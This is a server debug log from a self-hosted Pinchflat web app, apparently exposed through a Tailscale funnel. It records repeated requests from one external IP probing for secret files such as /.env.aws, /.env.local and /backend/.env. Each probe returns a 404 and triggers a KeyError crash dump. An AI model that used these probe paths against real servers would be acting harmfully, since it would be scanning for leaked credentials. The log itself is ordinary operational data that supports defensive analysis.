23:35:17.206 [debug] QUERY OK source="settings" db=0.2ms idle=367.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:17.207 [debug] QUERY OK source="settings" db=0.3ms idle=234.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:17.207 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:17.207 [error] #PID<0.3181.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 14) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.aws ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.aws", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3181.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.aws", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdT5qM1LQAIMAAPNB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.aws", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.aws", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3181.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.aws", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdT5qM1LQAIMAAPNB"} ], scheme: :http, script_name: [], secret_key_base (truncated) 23:35:17.326 [info] GET /.env.save 23:35:17.327 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=353.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:17.328 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=235.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:17.328 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:17.328 [error] #PID<0.3182.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 15) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.save ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3182.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdUWSEkCuHRYAAPOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3182.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdUWSEkCuHRYAAPOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ (truncated) 23:35:17.441 [info] GET /.env.local 23:35:17.442 [debug] QUERY OK source="settings" db=0.5ms idle=349.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:17.443 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=236.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:17.443 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:17.444 [error] #PID<0.3183.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 16) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 16, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3183.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdUxw8hv7lgkAAPPB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 16, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 16, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3183.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdUxw8hv7lgkAAPPB"} ], scheme: :http, script_name: [], sec (truncated) 23:35:17.539 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:17.571 [info] GET /backend/.env 23:35:17.571 [debug] QUERY OK source="settings" db=0.3ms idle=243.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:17.572 [debug] QUERY OK source="settings" db=0.2ms idle=243.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:17.572 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:17.572 [error] #PID<0.3184.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 17) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /backend/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 17, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3184.0>, params: %{}, path_info: ["backend", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/backend/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdVQqKyd-6pQAAPQB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 17, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 17, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3184.0>, params: %{}, path_info: ["backend", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => 